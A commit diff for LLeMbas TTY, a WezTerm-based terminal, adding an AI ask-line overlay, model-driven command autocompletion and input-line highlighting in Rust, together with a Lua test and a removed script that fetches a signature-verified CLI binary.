local wezterm = require 'wezterm'
local config = wezterm.config_builder()
local n = wezterm.llembas
local out = { 'module=' .. type(n) }
if type(n) == 'table' then
for _, name in ipairs { 'ask_line', 'configure', 'notice', 'hint', 'status', 'complete_status', 'data_dir', 'set_private', 'command_ended', 'clear_history' } do
out[#out + 1] = name .. '=' .. type(n[name])
end
local ok, err = pcall(n.configure, {
suggestions = true, highlight = true, ai_complete = false, cli = '/opt/x/lembas', ac_model = 'local/fast',
ac_timeout_ms = 4000, ac_debug = true, input_mark = true, history = true, history_max = 10,
colors = { ghost = 8, command = '#00ff00', unknown = false },
})
out[#out + 1] = 'configure=' .. tostring(ok) .. (ok and '' or (' ' .. tostring(err)))
local ok2 = pcall(n.set_private, 3, true)
out[#out + 1] = 'set_private=' .. tostring(ok2)
-- a word that stands, set and taken away again; the autocomplete in words
local ok3, err3 = pcall(function()
n.hint(3, 'Enter runs', true, 4)
n.hint(3, nil)
-- where a pane's shell stands, and that it is no longer followed
n.status(3, '77.5', 4, 'prompt', wezterm.home_dir)
n.status(3, nil)
end)
out[#out + 1] = 'hint=' .. tostring(ok3) .. (ok3 and '' or (' ' .. tostring(err3)))
local ok4, status = pcall(n.complete_status)
status = ok4 and tostring(status) or ''
out[#out + 1] = 'status=' .. tostring(status:find('engine: /opt/x/lembas', 1, true) ~= nil
and status:find('model: local/fast', 1, true) ~= nil
and status:find('given 4000 ms', 1, true) ~= nil
and status:find('AI autocomplete (or AI) is off', 1, true) ~= nil
and status:find('the next request is given 20000 ms', 1, true) ~= nil
and status:find('not yet', 1, true) ~= nil)
local ok5, dir = pcall(n.data_dir)
out[#out + 1] = 'data_dir=' .. tostring(ok5 and type(dir) == 'string' and dir:sub(1, 1) == '/')
end
require('llembas').apply(config, { autocomplete = true })
local f = io.open(wezterm.home_dir .. '/native.txt', 'w')
f:write(table.concat(out, ' '))
f:close()
return config
LUA
native_keys="$(clean "$TTY" show-keys --lua 2>"$work/keys-err.txt")"
native="$(cat "$work/home/native.txt" 2>/dev/null)"
expect "wezterm.llembas is there, with every function the layer uses" "$native" '^module=table ask_line=function configure=function notice=function hint=function status=function complete_status=function data_dir=function set_private=function command_ended=function clear_history=function configure=true set_private=true hint=true status=true data_dir=true$'
expect "the layer applies over it" "$native_keys" "llembas-ask"
if [ -e "$work/home/.local/share/llembas-tty/command-history" ]; then bad "a command history was written though no command ran"; else ok "no command history is written before a command ran"; fi
else
bad "show-keys did not run: $(head -5 "$work/keys-err.txt")"
fi
-45
View File
@@ -1,45 +0,0 @@
#!/usr/bin/env bash
# Put the LLeMbas CLI that LLeMbas TTY carries where the package takes it from:
# llembas/packaging/bin/lembas (git-ignored; installed beside the terminal's own binaries,
# never on PATH)
#
# scripts/fetch-cli.sh [target-triple] (default: this machine's, from rustc)
#
# The version is the one in llembas-cli.version. The files are checked exactly as the CLI's own
# get.sh checks them: SHA256SUMS signed by the release key in the namespace lembas-release, naming
# this version, and the binary matching it. Nothing unverified is bundled.
set -euo pipefail
cd "$(dirname "$0")/.."
VERSION="$(tr -d '[:space:]' < llembas-cli.version)"
TRIPLE="${1:-$(rustc -vV | sed -n 's/^host: //p')}"
BASE="${LEMBAS_CLI_RELEASES:-https://github.com/LLeMbas/LLeMbas-CLI/releases/download}/v${VERSION}"
PUBKEY="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDSZO3Byow7R3ZpOH3MCvpPIga2pZBzhfX5wXfNP1cLa"
case "$TRIPLE" in
# The baseline build runs on any x86-64 CPU, not only those with AVX2: a terminal meets
# older machines than a server does.
x86_64-unknown-linux-gnu) ASSET=lembas-linux-x64-baseline ;;
aarch64-unknown-linux-gnu) ASSET=lembas-linux-arm64 ;;
*) echo "fetch-cli: no LLeMbas CLI build for $TRIPLE yet" >&2; exit 1 ;;
esac
work="$(mktemp -d)"
trap 'rm -rf "${work:?}"' EXIT
for f in SHA256SUMS SHA256SUMS.sig "$ASSET.gz"; do
curl -fsSL --retry 3 -o "$work/$f" "$BASE/$f"
done
printf 'lembas-release %s\n' "$PUBKEY" > "$work/allowed"
ssh-keygen -Y verify -f "$work/allowed" -I lembas-release -n lembas-release \
-s "$work/SHA256SUMS.sig" < "$work/SHA256SUMS" >/dev/null \
|| { echo "fetch-cli: SHA256SUMS is not signed by the release key" >&2; exit 1; }
[ "$(sed -n -E 's/^# lembas //p' "$work/SHA256SUMS" | head -n1)" = "$VERSION" ] \
|| { echo "fetch-cli: SHA256SUMS is not for $VERSION" >&2; exit 1; }
(cd "$work" && grep -E " $ASSET\.gz\$" SHA256SUMS | sha256sum -c --strict --quiet -) \
|| { echo "fetch-cli: $ASSET.gz does not match SHA256SUMS" >&2; exit 1; }
mkdir -p llembas/packaging/bin
gunzip -c "$work/$ASSET.gz" > llembas/packaging/bin/lembas
chmod 755 llembas/packaging/bin/lembas
echo "fetch-cli: LLeMbas CLI $VERSION ($ASSET) -> llembas/packaging/bin/lembas"
+2
View File
@@ -65,6 +65,8 @@ image.workspace = true
lazy_static.workspace = true
lfucache.workspace = true
libc.workspace = true
# LLeMbas TTY: the logic of the ask line, suggestions and highlighting (llembas/line)
llembas-line = { path = "../llembas/line" }
log.workspace = true
luahelper.workspace = true
metrics.workspace = true
+458
View File
@@ -0,0 +1,458 @@
//! LLeMbas TTY: the ask line.
//!
//! The person presses the ask key at their prompt and the line they are on
//! becomes a line for a question to LLeMbas, in its place: the row of the
//! cursor shows `llembas <model> · <mode> › ` and what they type. Enter sends
//! the question (to the layer, as an event); Escape, or the key again, leaves
//! it. The shell's own line is as it was before: nothing typed here is ever
//! sent to the shell, and nothing is written to the pane.
//!
//! It is an overlay over the pane, as the terminal's own search and quick
//! select are (`overlay/quickselect.rs` is the model for this file): while it
//! is there the terminal gives the keys to it and draws the pane through it.
//! It draws the pane's own lines, with the one row replaced. The editing is
//! `llembas_line::editor`, which is where its tests are.
use super::state;
use crate::scripting::guiwin::GuiWin;
use crate::termwindow::TermWindow;
use config::keyassignment::ScrollbackEraseMode;
use llembas_line::editor::{self, Key, LineEditor, Outcome};
use mux::domain::DomainId;
use mux::pane::{CachePolicy, ForEachPaneLogicalLine, LogicalLine, Pane, PaneId, WithPaneLines};
use mux::renderable::*;
use mux::Mux;
use mux_lua::MuxPane;
use parking_lot::{MappedMutexGuard, Mutex, MutexGuard};
use rangeset::RangeSet;
use std::ops::Range;
use std::rc::Rc;
use std::sync::Arc;
use termwiz::cell::CellAttributes;
use termwiz::surface::{CursorShape, CursorVisibility, SequenceNo, SEQ_ZERO};
use url::Url;
use wezterm_term::color::ColorPalette;
use wezterm_term::{
Clipboard, Intensity, KeyCode, KeyModifiers, Line, MouseEvent, StableRowIndex, TerminalSize,
};
use window::WindowOps;
/// What the layer asks for.
pub struct AskArgs {
/// What stands before the question: the model and mode that will answer.
pub prefix: String,
/// The event the question comes back as.
pub event: String,
}
pub struct AskOverlay {
delegate: Arc<dyn Pane>,
state: Mutex<AskState>,
/// What is written to this pane goes nowhere: the shell under it gets
/// nothing while the ask line is there.
sink: Mutex<std::io::Sink>,
}
struct AskState {
editor: LineEditor,
prefix: String,
event: String,
window: ::window::Window,
gui_win: GuiWin,
/// Sent or left: further keys do nothing while the overlay goes away.
done: bool,
}
/// The columns a character takes.
fn char_width(c: char) -> usize {
let mut buf = [0u8; 4];
wezterm_term::unicode_column_width(c.encode_utf8(&mut buf), None)
}
/// A key of the terminal as the editor knows it; `None` for a key that means
/// nothing on the ask line.
fn map_key(key: KeyCode, mods: KeyModifiers) -> Option<Key> {
let none = mods == KeyModifiers::NONE || mods == KeyModifiers::SHIFT;
let ctrl = mods == KeyModifiers::CTRL;
let alt = mods == KeyModifiers::ALT;
match key {
KeyCode::Char(c) if ctrl => match c.to_ascii_lowercase() {
'a' => Some(Key::Home),
'e' => Some(Key::End),
'b' => Some(Key::Left),
'f' => Some(Key::Right),
'h' => Some(Key::Backspace),
'd' => Some(Key::Delete),
'w' => Some(Key::DeleteWordLeft),
'u' => Some(Key::DeleteToStart),
'k' => Some(Key::DeleteToEnd),
'p' => Some(Key::Up),
'n' => Some(Key::Down),
'j' | 'm' => Some(Key::Enter),
'c' | 'g' => Some(Key::Cancel),
_ => None,
},
KeyCode::Char(c) if alt => match c.to_ascii_lowercase() {
'b' => Some(Key::WordLeft),
'f' => Some(Key::WordRight),
'd' => Some(Key::DeleteWordRight),
'\u{7f}' | '\u{8}' => Some(Key::DeleteWordLeft),
_ => None,
},
KeyCode::Char('\r') | KeyCode::Char('\n') if none => Some(Key::Enter),
KeyCode::Char('\u{1b}') => Some(Key::Cancel),
KeyCode::Char('\u{7f}') | KeyCode::Char('\u{8}') if none => Some(Key::Backspace),
KeyCode::Char(c) if none => Some(Key::Char(c)),
KeyCode::Enter if none => Some(Key::Enter),
KeyCode::Escape => Some(Key::Cancel),
KeyCode::Backspace if alt || ctrl => Some(Key::DeleteWordLeft),
KeyCode::Backspace => Some(Key::Backspace),
KeyCode::Delete if alt || ctrl => Some(Key::DeleteWordRight),
KeyCode::Delete => Some(Key::Delete),
KeyCode::LeftArrow if alt || ctrl => Some(Key::WordLeft),
KeyCode::LeftArrow => Some(Key::Left),
KeyCode::RightArrow if alt || ctrl => Some(Key::WordRight),
KeyCode::RightArrow => Some(Key::Right),
KeyCode::UpArrow => Some(Key::Up),
KeyCode::DownArrow => Some(Key::Down),
KeyCode::Home => Some(Key::Home),
KeyCode::End => Some(Key::End),
_ => None,
}
}
/// The ask key: turn the pane's line into the ask line, or back when it is
/// one already.
pub fn toggle(term_window: &mut TermWindow, pane_id: PaneId, args: AskArgs) {
let window = match term_window.window.clone() {
Some(window) => window,
None => return,
};
let existing = term_window
.pane_state(pane_id)
.overlay
.as_ref()
.map(|overlay| overlay.pane.clone());
if let Some(existing) = existing {
// The key again leaves the ask line. Another overlay (search, copy
// mode) keeps the pane: it was asked for first.
if existing.downcast_ref::<AskOverlay>().is_some() {
TermWindow::schedule_cancel_overlay_for_pane(window, pane_id);
}
return;
}
let pane = match Mux::get().get_pane(pane_id) {
Some(pane) => pane,
None => return,
};
// The line is drawn at the cursor: the pane shows its end, not its past.
let dims = pane.get_dimensions();
term_window.set_viewport(pane_id, None, dims);
let overlay: Arc<dyn Pane> = Arc::new(AskOverlay {
delegate: pane,
state: Mutex::new(AskState {
editor: LineEditor::new(&state::questions()),
prefix: args.prefix,
event: args.event,
window: window.clone(),
gui_win: GuiWin::new(term_window),
done: false,
}),
sink: Mutex::new(std::io::sink()),
});
term_window.assign_overlay_for_pane(pane_id, overlay);
window.invalidate();
}
/// Hand the question to the layer: the event, with the window, the pane and
/// the line, as a one-line prompt of the terminal hands its line over
/// (`overlay/prompt.rs`).
fn emit(name: String, window: GuiWin, pane: MuxPane, line: String) {
async fn do_event(
lua: Option<Rc<mlua::Lua>>,
name: String,
window: GuiWin,
pane: MuxPane,
line: String,
) -> anyhow::Result<()> {
if let Some(lua) = lua {
let args = lua.pack_multi((window, pane, line))?;
if let Err(err) = config::lua::emit_event(&lua, (name.clone(), args)).await {
log::error!("while processing {} event: {:#}", name, err);
}
}
Ok(())
}
promise::spawn::spawn(async move {
config::with_lua_config_on_main_thread(move |lua| do_event(lua, name, window, pane, line))
.await
})
.detach();
}
impl AskState {
fn close(&mut self, pane_id: PaneId) {
self.done = true;
TermWindow::schedule_cancel_overlay_for_pane(self.window.clone(), pane_id);
}
fn apply(&mut self, pane_id: PaneId, outcome: Outcome) {
match outcome {
Outcome::Unchanged => {}
Outcome::Changed => self.window.invalidate(),
Outcome::Cancel => self.close(pane_id),
Outcome::Submit(line) => {
state::remember_question(&line);
emit(
self.event.clone(),
self.gui_win.clone(),
MuxPane(pane_id),
line,
);
self.close(pane_id);
}
}
}
}
impl AskOverlay {
/// The row the ask line is drawn on: the cursor's, or the bottom row when
/// a full-screen program has the pane.
fn row(&self) -> StableRowIndex {
let dims = self.delegate.get_dimensions();
let bottom = dims.physical_top
+ (dims.viewport_rows as StableRowIndex)
.saturating_sub(1)
.max(0);
if self.delegate.is_alt_screen_active() {
return bottom;
}
let cursor = self.delegate.get_cursor_position();
cursor.y.max(dims.physical_top).min(bottom)
}
/// The ask line as a row of the pane, and the column of its cursor.
fn line(&self, cols: usize) -> (Line, usize) {
let ask = self.state.lock();
let view = editor::view(
&ask.prefix,
ask.editor.chars(),
ask.editor.cursor(),
cols,
&char_width,
);
let mut prefix = CellAttributes::default();
prefix.set_intensity(Intensity::Bold);
if let Some(color) = state::options().colors.prefix {
prefix.set_foreground(color);
}
let mut line = Line::with_width(cols, SEQ_ZERO);
line.overlay_text_with_attribute(0, &view.lead, prefix, SEQ_ZERO);
let lead_cols: usize = view.lead.chars().map(char_width).sum();
line.overlay_text_with_attribute(
lead_cols,
&view.text,
CellAttributes::default(),
SEQ_ZERO,
);
(line, view.cursor_col)
}
}
impl Pane for AskOverlay {
fn pane_id(&self) -> PaneId {
self.delegate.pane_id()
}
fn get_title(&self) -> String {
self.delegate.get_title()
}
fn send_paste(&self, text: &str) -> anyhow::Result<()> {
let mut ask = self.state.lock();
if !ask.done {
let outcome = ask.editor.insert_text(text);
ask.apply(self.delegate.pane_id(), outcome);
}
Ok(())
}
fn send_composed_text(&self, text: &str) -> anyhow::Result<()> {
self.send_paste(text)
}
fn reader(&self) -> anyhow::Result<Option<Box<dyn std::io::Read + Send>>> {
Ok(None)
}
fn writer(&self) -> MappedMutexGuard<'_, dyn std::io::Write> {
MutexGuard::map(self.sink.lock(), |sink| {
let w: &mut dyn std::io::Write = sink;
w
})
}
fn resize(&self, size: TerminalSize) -> anyhow::Result<()> {
self.delegate.resize(size)
}
fn key_up(&self, _key: KeyCode, _mods: KeyModifiers) -> anyhow::Result<()> {
Ok(())
}
fn key_down(&self, key: KeyCode, mods: KeyModifiers) -> anyhow::Result<()> {
let key = match map_key(key, mods.remove_positional_mods()) {
Some(key) => key,
None => return Ok(()),
};
let mut ask = self.state.lock();
if !ask.done {
let outcome = ask.editor.key(key);
ask.apply(self.delegate.pane_id(), outcome);
}
Ok(())
}
fn mouse_event(&self, _event: MouseEvent) -> anyhow::Result<()> {
Ok(())
}
fn perform_actions(&self, actions: Vec<termwiz::escape::Action>) {
self.delegate.perform_actions(actions)
}
fn is_dead(&self) -> bool {
self.delegate.is_dead()
}
fn palette(&self) -> ColorPalette {
self.delegate.palette()
}
fn domain_id(&self) -> DomainId {
self.delegate.domain_id()
}
fn erase_scrollback(&self, erase_mode: ScrollbackEraseMode) {
self.delegate.erase_scrollback(erase_mode)
}
fn is_mouse_grabbed(&self) -> bool {
false
}
fn is_alt_screen_active(&self) -> bool {
false
}
fn set_clipboard(&self, clipboard: &Arc<dyn Clipboard>) {
self.delegate.set_clipboard(clipboard)
}
fn get_current_working_dir(&self, policy: CachePolicy) -> Option<Url> {
self.delegate.get_current_working_dir(policy)
}
fn get_cursor_position(&self) -> StableCursorPosition {
let cols = self.delegate.get_dimensions().cols;
let (_, x) = self.line(cols);
StableCursorPosition {
x,
y: self.row(),
shape: CursorShape::Default,
visibility: CursorVisibility::Visible,
}
}
fn get_current_seqno(&self) -> SequenceNo {
self.delegate.get_current_seqno()
}
fn get_changed_since(
&self,
lines: Range<StableRowIndex>,
seqno: SequenceNo,
) -> RangeSet<StableRowIndex> {
let mut dirty = self.delegate.get_changed_since(lines.clone(), seqno);
dirty.add(self.row());
dirty.intersection_with_range(lines)
}
fn for_each_logical_line_in_stable_range_mut(
&self,
lines: Range<StableRowIndex>,
for_line: &mut dyn ForEachPaneLogicalLine,
) {
self.delegate
.for_each_logical_line_in_stable_range_mut(lines, for_line);
}
fn get_logical_lines(&self, lines: Range<StableRowIndex>) -> Vec<LogicalLine> {
self.delegate.get_logical_lines(lines)
}
fn with_lines_mut(&self, lines: Range<StableRowIndex>, with_lines: &mut dyn WithPaneLines) {
// Everything of ours is worked out before the pane's own lines are
// borrowed, as the terminal's other overlays do.
let cols = self.delegate.get_dimensions().cols;
let row = self.row();
let (line, _) = self.line(cols);
struct OverlayLines<'a> {
with_lines: &'a mut dyn WithPaneLines,
row: StableRowIndex,
line: Line,
}
impl<'a> WithPaneLines for OverlayLines<'a> {
fn with_lines_mut(&mut self, first_row: StableRowIndex, lines: &mut [&mut Line]) {
let offset = self.row - first_row;
if offset < 0 || offset as usize >= lines.len() {
self.with_lines.with_lines_mut(first_row, lines);
return;
}
// The pane's own lines, with the one row replaced by ours.
let idx = offset as usize;
let (before, rest) = lines.split_at_mut(idx);
let (_, after) = rest.split_at_mut(1);
let mut refs: Vec<&mut Line> = Vec::with_capacity(before.len() + 1 + after.len());
for line in before.iter_mut() {
refs.push(&mut **line);
}
refs.push(&mut self.line);
for line in after.iter_mut() {
refs.push(&mut **line);
}
self.with_lines.with_lines_mut(first_row, &mut refs);
}
}
self.delegate.with_lines_mut(
lines,
&mut OverlayLines {
with_lines,
row,
line,
},
);
}
fn get_lines(&self, lines: Range<StableRowIndex>) -> (StableRowIndex, Vec<Line>) {
let cols = self.delegate.get_dimensions().cols;
let row = self.row();
let (ours, _) = self.line(cols);
let (top, mut lines) = self.delegate.get_lines(lines);
let offset = row - top;
if offset >= 0 && (offset as usize) < lines.len() {
lines[offset as usize] = ours;
}
(top, lines)
}
fn get_dimensions(&self) -> RenderableDimensions {
self.delegate.get_dimensions()
}
}
+181
View File
@@ -0,0 +1,181 @@
//! LLeMbas TTY: the rest of a line asked of LLeMbas, for the suggestion after
//! the cursor when the AI's autocomplete is on.
//!
//! The line so far goes to `lembas complete --shell …` on its standard
//! input, off the window's own thread, after a pause in the typing; a request
//! that is no longer wanted is stopped. What comes back is a model's text: it
//! is cleaned to one plain line and only ever offered, never run.
//!
//! Whether a line is asked about, how the engine is run and what is kept of
//! each attempt for the person is `llembas_line::complete`, which is where
//! the tests are; this file gives it the pane and the thread.
use super::state;
use llembas_line::complete::{self, Log, Outcome, Poll, Request, Skip, Tracker};
use mux::pane::{CachePolicy, Pane, PaneId};
use mux::{Mux, MuxNotification};
use parking_lot::Mutex;
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use std::time::{Duration, Instant, SystemTime};
lazy_static::lazy_static! {
static ref TRACKER: Mutex<Tracker> = Mutex::new(Tracker::default());
/// The last attempts, for "LLeMbas: autocomplete status". In memory only.
static ref LOG: Mutex<Log> = Mutex::new(Log::default());
}
/// The next request is the first after autocomplete was switched on or its
/// model changed: it is given longer.
static COLD: AtomicBool = AtomicBool::new(true);
/// The shell of a pane by its name, as `lembas complete --shell` takes it.
fn shell_of(pane: &Arc<dyn Pane>) -> &'static str {
let name = pane
.get_foreground_process_name(CachePolicy::AllowStale)
.unwrap_or_default();
let base = name
.rsplit(|c: char| c == '/' || c == '\\')
.next()
.unwrap_or("");
match base.trim_start_matches('-') {
"zsh" => "zsh",
"fish" => "fish",
_ => "bash",
}
}
fn still_wanted(id: u64) -> bool {
TRACKER.lock().still_wanted(id)
}
fn ask(id: u64, pane_id: PaneId, req: Request) {
std::thread::sleep(Duration::from_millis(complete::PAUSE_MS));
if !still_wanted(id) {
return;
}
let at = SystemTime::now();
let started = Instant::now();
let (outcome, decisions) = complete::run_said(&req, &|| still_wanted(id));
let took = started.elapsed().as_millis() as u64;
if outcome == Outcome::Cancelled {
// the person typed on: the newer line is asked about instead
return;
}
// in the terminal's log (the debug overlay shows it), without the line
match &outcome {
Outcome::Suggestion(_) | Outcome::Nothing(_) => {
log::debug!(
"LLeMbas autocomplete: {} after {} ms",
if outcome.rest().is_some() {
"a suggestion"
} else {
"nothing"
},
took
);
}
other => log::warn!("LLeMbas autocomplete ({}): {}", req.cli, other.sentence()),
}
if matches!(outcome, Outcome::Suggestion(_) | Outcome::Nothing(_)) {
// the engine answered: the model is there
COLD.store(false, Ordering::Relaxed);
}
let rest = outcome.rest();
{
let mut log = LOG.lock();
log.attempt(at, &req.line, took, outcome);
log.decisions(decisions);
}
TRACKER.lock().finish(id, pane_id, req.line, rest);
state::changed();
Mux::notify_from_any_thread(MuxNotification::PaneOutput(pane_id));
}
/// Nothing was asked about the line that is typed now, and why: for the
/// status.
pub fn skipped(why: Skip) {
// what is true of nearly every line is not worth keeping in place of a
// reason that says something
if matches!(why, Skip::Off | Skip::Empty | Skip::NotAtEnd) {
return;
}
LOG.lock().skip(SystemTime::now(), why);
}
/// What is on changed (the model, the directory's settings): a line that was
/// answered may be asked about again.
pub fn forget_answers(cold: bool) {
TRACKER.lock().forget();
if cold {
COLD.store(true, Ordering::Relaxed);
}
}
/// The terminal's side of the autocomplete in words, for the person.
pub fn status() -> String {
let options = state::options();
let mut text = LOG.lock().status(
SystemTime::now(),
&options.cli,
&options.ac_model,
options.ac_timeout_ms,
);
if COLD.load(Ordering::Relaxed) {
text.push_str(&format!(
"\nthe next request is given {} ms: the first after a change, for a model that may have to be loaded",
complete::timeout_for(options.ac_timeout_ms, true)
));
}
if !options.ai_complete {
text = format!(
"The terminal is not asking now: AI autocomplete (or AI) is off.\n{}",
text
);
}
text
}
/// The rest of the line, when LLeMbas has answered for exactly this line.
/// Otherwise `None`, and LLeMbas is asked (once for a line): when the answer
/// comes the pane is drawn again. The caller has decided that the line is
/// asked about (`llembas_line::complete::decide`).
pub fn suggestion(
pane: &Arc<dyn Pane>,
typed: &str,
options: &state::Options,
cwd: String,
) -> Option<String> {
let pane_id = pane.pane_id();
let id = match TRACKER.lock().poll(pane_id, typed) {
Poll::Answer(rest) => return rest,
Poll::Waiting => return None,
Poll::Start(id) => id,
};
let req = Request {
cli: options.cli.clone(),
shell: shell_of(pane).to_string(),
cwd,
line: typed.to_string(),
model: options.ac_model.clone(),
timeout_ms: complete::timeout_for(options.ac_timeout_ms, COLD.load(Ordering::Relaxed)),
version: config::llembas_tty_version().to_string(),
debug: options.ac_debug,
};
let spawned = std::thread::Builder::new()
.name("llembas-complete".to_string())
.spawn(move || ask(id, pane_id, req));
if let Err(err) = spawned {
log::warn!(
"LLeMbas: could not start a thread to ask for a completion: {:#}",
err
);
LOG.lock().attempt(
SystemTime::now(),
typed,
0,
Outcome::NotStarted(format!("no thread: {}", err)),
);
}
None
}
+812
View File
@@ -0,0 +1,812 @@
//! LLeMbas TTY: what the terminal draws on the shell's input line.
//!
//! - the rest of the line, dimmed after the cursor: from the terminal's own
//! history of commands, or from LLeMbas when the AI's autocomplete is on;
//! - the command line in colours;
//! - a word from the terminal at the cursor's row, for a moment.
//!
//! All of it is drawn at the moment a pane is painted and nowhere else:
//! nothing is written to the pane, and the terminal's own model of the screen
//! is not touched. The pane's lines are handed to the painter as they are,
//! except for the few rows that are drawn differently, which are copies. The
//! same way the terminal's quick select marks its matches.
//!
//! It needs the shell integration (which marks the cells of the input line)
//! and is off for a pane while a full-screen program has it.
//!
//! What a line of text means is `llembas_line` (the input line among the
//! cells, the parts of a command line, the history); this file fetches the
//! cells and places the result.
use super::{complete, state};
use llembas_line::complete::{decide, dir_of_url_path, same_host, Conditions};
use llembas_line::suggest;
use llembas_line::tokens::{self, Kind, Role};
use llembas_line::zone::{self, Zone};
use mux::pane::{CachePolicy, Pane, PaneId, WithPaneLines};
use mux::renderable::{RenderableDimensions, StableCursorPosition};
use mux::Mux;
use parking_lot::Mutex;
use std::collections::HashMap;
use std::io::Write;
use std::ops::Range;
use std::path::{Path, PathBuf};
use std::sync::Arc;
use std::time::{Duration, Instant};
use termwiz::cell::{CellAttributes, Intensity, SemanticType};
use termwiz::color::ColorAttribute;
use termwiz::surface::{SequenceNo, SEQ_ZERO};
use wezterm_term::{Line, StableRowIndex};
/// An input line of more rows than this is left alone.
const MAX_ROWS: usize = 3;
/// How long it is remembered whether a command exists.
const COMMAND_MEMORY: Duration = Duration::from_secs(20);
/// What is drawn differently on one row.
#[derive(Debug, Clone)]
struct RowPlan {
row: StableRowIndex,
/// The text colour of some cells: first column, columns, colour.
colors: Vec<(usize, usize, ColorAttribute)>,
/// Text placed from a column on.
texts: Vec<(usize, String, CellAttributes)>,
}
/// What is drawn differently in a pane.
#[derive(Debug, Clone, Default)]
pub struct Plan {
/// By row, each row once.
rows: Vec<RowPlan>,
/// The rest of the line that is offered after the cursor, all of it.
pub suggestion: Option<String>,
}
impl Plan {
fn row_mut(&mut self, row: StableRowIndex) -> &mut RowPlan {
let at = match self.rows.iter().position(|r| r.row == row) {
Some(at) => at,
None => {
self.rows.push(RowPlan {
row,
colors: Vec::new(),
texts: Vec::new(),
});
self.rows.len() - 1
}
};
&mut self.rows[at]
}
}
/// What a plan was worked out for. While it is the same, so is the plan.
#[derive(Debug, Clone, PartialEq)]
struct PlanKey {
seqno: SequenceNo,
x: usize,
y: StableRowIndex,
cols: usize,
top: StableRowIndex,
active: bool,
generation: u64,
}
lazy_static::lazy_static! {
static ref PLANS: Mutex<HashMap<PaneId, (PlanKey, Option<Arc<Plan>>)>> =
Mutex::new(HashMap::new());
/// Whether a command exists, and when that was looked up.
static ref COMMANDS: Mutex<HashMap<String, (bool, Instant)>> = Mutex::new(HashMap::new());
}
/// The columns a character takes.
fn char_width(c: char) -> usize {
let mut buf = [0u8; 4];
wezterm_term::unicode_column_width(c.encode_utf8(&mut buf), None)
}
fn text_width(text: &str) -> usize {
text.chars().map(char_width).sum()
}
/// The cells of a line, for `llembas_line::zone`.
fn row_of(line: &Line) -> zone::Row {
line.visible_cells()
.map(|cell| zone::Cell {
col: cell.cell_index(),
width: cell.width(),
text: cell.str().to_string(),
input: cell.attrs().semantic_type() == SemanticType::Input,
})
.collect()
}
/// The column after the last cell of a line that shows something.
fn used_cols(line: &Line) -> usize {
let mut used = 0;
for cell in line.visible_cells() {
if !cell.str().trim().is_empty() {
used = cell.cell_index() + cell.width().max(1);
}
}
used
}
/// The blank columns of a line from column `from` on, up to the first cell
/// that shows something.
fn blank_room(line: &Line, from: usize, cols: usize) -> usize {
if from >= cols {
return 0;
}
let mut end = cols;
for cell in line.visible_cells() {
if cell.cell_index() >= from && !cell.str().trim().is_empty() {
end = cell.cell_index().min(cols);
break;
}
}
end.saturating_sub(from)
}
#[cfg(unix)]
fn this_host() -> Option<String> {
let mut buf = [0u8; 256];
let rc = unsafe { libc::gethostname(buf.as_mut_ptr() as *mut libc::c_char, buf.len() - 1) };
if rc != 0 {
return None;
}
let len = buf.iter().position(|b| *b == 0).unwrap_or(buf.len());
Some(String::from_utf8_lossy(&buf[..len]).to_lowercase())
}
#[cfg(not(unix))]
fn this_host() -> Option<String> {
None
}
/// Is `host` (of a pane's directory, as its shell reported it) this machine?
fn is_this_host(host: &str) -> bool {
if host.is_empty() || host == "localhost" {
return true;
}
same_host(host, this_host().as_deref())
}
/// What can be looked up for a pane whose shell is on this machine: whether a
/// command exists and whether a path does. `None` for a shell somewhere else
/// (a pane of another domain, or `ssh` inside a pane), where this machine's
/// files say nothing.
struct Lookups {
cwd: Option<PathBuf>,
}
impl Lookups {
fn for_pane(pane: &Arc<dyn Pane>) -> Option<Lookups> {
let mux = Mux::try_get()?;
let domain = mux.get_domain(pane.domain_id())?;
if domain.domain_name() != "local" {
return None;
}
let cwd = match pane.get_current_working_dir(CachePolicy::AllowStale) {
Some(url) => {
if !is_this_host(url.host_str().unwrap_or("")) {
return None;
}
// The shell integration reports `file://<host><directory>`,
// and the URL's own "to a file path" refuses every URL that
// names a host: so the path is decoded for what it is.
dir_of_url_path(url.path()).map(PathBuf::from)
}
None => None,
};
Some(Lookups { cwd })
}
/// The directory a program started for this pane is given: the pane's
/// own, else the person's home.
fn dir(&self) -> String {
self.cwd
.as_ref()
.and_then(|cwd| cwd.to_str())
.filter(|cwd| cwd.starts_with('/'))
.map(|cwd| cwd.to_string())
.unwrap_or_else(|| config::HOME_DIR.to_string_lossy().into_owned())
}
/// A word as a path of this machine; `None` when it cannot be one.
fn resolve(&self, word: &str) -> Option<PathBuf> {
if word.is_empty() || word.len() > 512 {
return None;
}
if word == "~" {
return Some(config::HOME_DIR.clone());
}
if let Some(rest) = word.strip_prefix("~/") {
return Some(config::HOME_DIR.join(rest));
}
if word.starts_with('~') {
return None;
}
let path = Path::new(word);
if path.is_absolute() {
return Some(path.to_path_buf());
}
self.cwd.as_ref().map(|cwd| cwd.join(path))
}
fn path_exists(&self, word: &str) -> bool {
match self.resolve(word) {
Some(path) => path.exists(),
None => false,
}
}
fn command_exists(&self, word: &str) -> bool {
if word.is_empty() {
return false;
}
if tokens::is_builtin(word) {
return true;
}
if word.contains('/') {
return match self.resolve(word) {
Some(path) => is_program(&path),
None => false,
};
}
let now = Instant::now();
let mut known = COMMANDS.lock();
if let Some((exists, at)) = known.get(word) {
if now.duration_since(*at) < COMMAND_MEMORY {
return *exists;
}
}
let exists = match std::env::var_os("PATH") {
Some(path) => std::env::split_paths(&path).any(|dir| is_program(&dir.join(word))),
None => false,
};
if known.len() > 1024 {
known.clear();
}
known.insert(word.to_string(), (exists, now));
exists
}
}
#[cfg(unix)]
fn is_program(path: &Path) -> bool {
use std::os::unix::fs::PermissionsExt;
match std::fs::metadata(path) {
Ok(meta) => meta.is_file() && meta.permissions().mode() & 0o111 != 0,
Err(_) => false,
}
}
#[cfg(not(unix))]
fn is_program(path: &Path) -> bool {
path.is_file()
}
/// The colours of the input line.
fn highlight(
pane: &Arc<dyn Pane>,
colors: &state::Colors,
zone: &Zone,
top: StableRowIndex,
plan: &mut Plan,
) {
let parsed = tokens::parse(&zone.text);
if parsed.tokens.is_empty() {
return;
}
let mut token_colors: Vec<state::Color> = parsed
.tokens
.iter()
.map(|token| match token.kind {
Kind::Option => colors.option,
Kind::String => colors.string,
Kind::Variable => colors.variable,
Kind::Operator => colors.operator,
Kind::Comment => colors.comment,
// decided below, by what the word turns out to be
Kind::Command | Kind::Word => None,
})
.collect();
// Whether a command exists, whether a path does: only where this
// machine's files can say.
